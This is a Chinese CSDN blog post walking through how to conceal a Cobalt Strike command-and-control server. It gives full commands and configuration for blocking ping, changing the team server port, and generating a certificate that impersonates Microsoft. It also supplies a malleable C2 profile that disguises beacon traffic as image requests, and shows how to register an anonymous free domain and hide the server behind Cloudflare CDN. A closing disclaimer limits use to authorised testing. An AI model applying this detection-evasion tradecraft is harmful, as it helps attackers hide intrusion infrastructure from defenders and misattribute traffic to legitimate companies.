内网神器Cobalt Strike隐藏特征与流量混淆.

本文详细介绍了如何对CobaltStrike进行特征隐藏、修改服务器设置以禁ping、改变默认端口、替换默认证书、利用CDN混淆流量,并配置HTTPS以增强安全性。这些步骤旨在确保在安全学习和渗透测试中的合规实践。
摘要由CSDN通过智能技术生成

由于上次还没有写好https上线的东西,今天加班加点的弄出来了。
本文内容如有错误,望及时告知,以免误导他人.

Cobalt Strike 特征隐藏与流量混淆

大致内容:

  • 修改默认端口

  • 服务器设置禁Ping

  • Cobalt Strike默认证书修改

  • CDN隐藏

  • 利用C2流量混淆

Cobalt Strike服务端配置

0x01. 需求配置

  • vps一台

  • 域名

  • CDN

  • Cobalt Strike4.0

0x02. 服务器设置禁ping

服务器禁ping从某种意义上来说,算是不存活的主机,但nmap是依然能够扫描出来的。
设置禁ping命令:
vim /etc/sysctl.conf 打开后按i进入编辑模式,在任意位置新增以下内容
net.ipv4.icmp_echo_ignore_all=1

图片

新增之后 ESC -> 冒号 -> wq[退出并保存]
再使用命令 sysctl -p 即可生效,这时候再ping主机就会ping不通了。

图片

0x03. 修改Cobalt Strike默认端口号

在服务端的teamserver文件末尾处修改

图片

修改之后再次启动teamserver的时候即可看到端口已经更改。

图片

0x04. 修改默认证书

Cobalt Strike默认证书中含有与cs相关的特征,所以需要替换掉cs原有的证书,重新生成一个无特征的证书文件。
前提条件:服务器上已安装java
使用jdk自带的keytools这个java证书管理工具来生成新的无特征证书。

  • 首先删除cobalt strike原有的证书

  • 新建一个其他名字,只需要在teamserver最后一行修改 -Djavax.net.ssl.keyStore=./new.store 即可

  • 在Cobalt Strike当前目录生成一个无特征的证书

keytool -keystore 生成的store名 -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias 自定义别名 -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"

keytool -keystore new.store -storepass bypass -keypass bypass -genkey -keyalg RSA -alias apex.tk -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"

图片

  • 修改证书标准并应用

> keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12

至此证书修改完成,使用命令:
keytool -list -v -keystore cobaltstrike.store 可查看证书内容

图片

可以看到签名是92EE36结尾,启动teamserver看看证书签名是否一致:

图片

签名一致,确认证书修改成功.

0x05.混淆流量

接下来修改Beacon与cobalt strike通信时候的流量特征,创建一个.profile文件(名字任意),贴入以下从大佬那里偷过来的代码。

https-certificate {
    set keystore "new.store";    #证书名字
    set password "bypass";        #证书密码
}
#以上没有配置cloudflare的时候可以先不写

http-get {
    set uri "/image/";
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
        header "Referer" "http://www.google.com";
        header "Host" "apex1.tk";  #域名,还没有配置cloudflare的时候这一行注释掉
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";
        metadata {
            netbios;
            append ".jpg";  # 传输内容自动追加的后缀
            uri-append;
        }
    }
    server {
        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";
        output {
            base64;  # 加密方式(base64、base64url、netbios、netbiosu)
            print;
        }
    }
}
http-post {
    set uri "/email/";
    client {
        header "Content-Type" "application/octet-stream";
        header "Referer" "http://www.google.com"; 
        header "Host" "apex1.tk";  #域名,还没有配置cloudflare的时候这一行注释掉
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";
        id {
            netbiosu;
            append ".png";
            uri-append;
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";
        output {
            base64;
            print;
        }
    }
}

保存之后赋予服务端的c2lint执行权限:chmod 777 c2lint

然后输入:./c2lint img.profile

输出如下图所示即为配置成功

图片

图片

使用CDN隐藏

0x01. 申请免费域名(白嫖是真香啊.)

白嫖域名连接:www.freenom.com 可以用来做博客域名、也可用来做其他用处
白嫖的可以不留过多信息,使用谷歌账号登录即可.
记得科学上网挂着,不然有可能申请不通过。

图片

域名自己随便写一个喜欢的即可,检查可用性,然后点击selected,Checkout即可,1-12个月都是免费的

图片

图片

0x02. CDN配置(白嫖系列)

一时白嫖一时爽,一直白嫖一直爽,使用Cloudflare白嫖cdn.
有账号可以继续使用该账号进行添加站点,没有账号使用匿名邮箱注册一个即可.(推荐outlook、protonmail都可匿名)

1. 添加站点记录

图片

这里添加站点,有时候会报错,google、baidu了很多方法都不管用,于是乎第二天就可以添加到了。

图片

2. 添加DNS记录

根据自己喜欢随便整就行,解析记得写vps的地址,代理状态是默认开启,没有的话手动开启一下即可.

图片

3. 修改DNS服务器

去freenom中删除dns名称服务器,添加为cloudflare的名称服务器

图片

到freenom中修改dns服务器

图片

图片

图片

4. 配置完成

以上操作完成之后回到cloudflare进行下一步
将https重写、始终使用https、Brotli都关闭并保存,之后点击检查名称服务器
点击检查之后过一会儿刷新一下页面,出现以下就代表成功了

图片

图片

一定要开启开发者模式!!!
缓存 -> 开发模式 开启

图片

Cloudflare CDN支持的http端口:80,8080,8880,2052,2082,2086,2098
Cloudflare CDN支持的https端口:443,2053,2083,2087,2096,8443

5.HTTPS证书配置

首先配置配置SSL/TLS加密模式为完全,点击 源服务器 -> 创建证书,把密钥和证书复制保存下来,分别保存为pem.pem和key.key,然后上传到cobalt strike服务端

图片

图片

图片

图片

上传到服务端之后,使用keytool重新创建store证书:

首先执行openssl pkcs12 -export -in 证书名 -inkey 私钥名 -out p12名,如abc.p12 -name 域名 -passout pass:bypass

openssl pkcs12 -export -in pem.pem -inkey key.key -out apex.tk.p12 -name apex.tk -passout pass:bypass

其次执行keytool -importkeystore -deststorepass 密码 -destkeypass 密码 -destkeystore store名 -srckeystore p12名,如abc.p12 -srcstoretype PKCS12 -srcstor epass 密码 -alias 别名

keytool -importkeystore -deststorepass bypass -destkeypass bypass -destkeystore new.store -srckeystore apex.tk.p12 -srcstoretype PKCS12 -srcstor epass bypass -alias apex.tk

最后在profile配置文件中,取消注释头部的代码即可。

启动服务端的时候命令:./teamserver xx.xx.xx.xx password img.profile

6.测试上线

Listener按照下图配置,HTTPS同理

图片

这里local port http就写80 https就写443

图片

图片

参考文档:
https://www.jianshu.com/p/e7701efef047
https://www.cnblogs.com/Xy--1/p/14396744.html
https://lengjibo.github.io/malleable/

 声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

  • 27
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值